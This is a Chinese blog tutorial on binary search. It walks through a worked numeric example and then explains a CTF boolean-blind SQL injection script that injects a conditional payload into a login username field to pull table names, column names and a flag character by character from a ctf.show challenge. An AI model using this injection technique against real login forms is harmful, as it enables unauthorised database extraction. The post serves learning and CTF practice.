二分法学习

前言

文章同步于我的个人博客https://quan9i.top/twofen/,欢迎大家访问。
由于学习sql注入时看了部分师傅的脚本,涉及到二分法,才发现自己对二分法的所知甚少,因此来对二分法进行学习,希望能对正在学习二分法的人有所帮助。

定义

​ 二分法(Bisection method),即一分为二的的方法。对于在区间[a,b]上连续不断且满足f(a)*f(b)<0
的函数y=f(x),通过不断地把函数f(x)的零点所在区间二等分,使区间两个端点逐步逼近零点,进而得到
零点的近似值的方法。

小白理解,设置极小值与极大值,然后不断缩小范围,最终确定答案

详细过程

以下是小白个人见解(有误还请各位师傅多多指教)
二分法讲解(赋值讲解)
设置极大值100和极小值1(这两个值不可能是要求的那个,在在这里假设所求值为56)
然后取出平均值50
第一次比较
将平均值与所求值进行比较,50<56,发现平均值比所求值要小,说明所求值介于55到100之间,
第二次比较
此时我们就把极小值更改为51(本来应改为50,但不可能是50),取出平均值75,将所求值与平均值进行比较,75>56,发现平均值比所求值大,说明平均值介于51到75之间
第三次比较
此时更改极大值为75,取出平均值63,将所求值与平均值进行比较,63>56,发现平均值比所求值大,说明平均值介于55到63之间
第四次比较
此时更改极大值为63,取出平均值57,将所求值与平均值进行比较,57>56,发现平均值比所求值大,说明平均值介于55到57之间
第五次比较
此时更改极大值为57,取出平均值56,将所求值与平均值进行比较,56=56,两者相等,结束。

示例

这里以Y4师傅的一个布尔盲注脚本为例进行讲解

# @Author:Y4tacker
import requests

url = "http://c6172bf8-f8db-4b40-aba1-2fcd58ca0604.challenge.ctf.show/api/"

result = ""
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查字段
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        # 查flag
        payload = "select group_concat(f1ag) from ctfshow_fl0g"
        data = {
            'username': f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},1,2)='1",
            'password': '1'
        }
        
        r = requests.post(url,data=data)
        if "密码错误"  == r.json()['msg']:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

mid = (head + tail) >> 1可以理解为(head+tail)/2,这个算法比除2更快,更准确。(效果相同)

admin' and if(ascii(substr(({payload}),{i},1))>{mid},1,2)='1",

这里是取出了一个字符的ascii码,与后面的mid进行比较
这个if "密码错误" == r.json()['msg']:可以理解为执行正确,执行正确则说明二分法中所求值大于平均值,那此时要干什么呢,当然是把极小值设置成平均值再+1(因为不可能是平均值),也就是代码中的head = mid + 1,那如果执行错误的话呢,就说明二分法所求值小于平均值,说明所求值的范围是(head,mid),那此时我们就可以把极大值设置为mid,也就是代码中的tail = mid

while head < tail:

此时看while循环,它执行的条件是head<tail,那只有当head=tail时候(没有head>tail是因为这种情况无法实现)它才会往下执行,当head=tail的时候,这时候就确定出了flag的某个字母的ascii码值,我们输出也就得到了flag的一部分,获取flag的代码如下图

 if head != 32:
        result += chr(head)

那可能有人就要问了,flag最多也就几十个字母,获取完flag了,这个脚本是不是还在执行呢,会不会一直循环呢,答案是不会,看这个代码

 else:
        break

当有flag时会获取flag字母,到后面无flag,它就会直接停止,此时循环也就随之结束。脚本执行完毕
具体执行结果
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值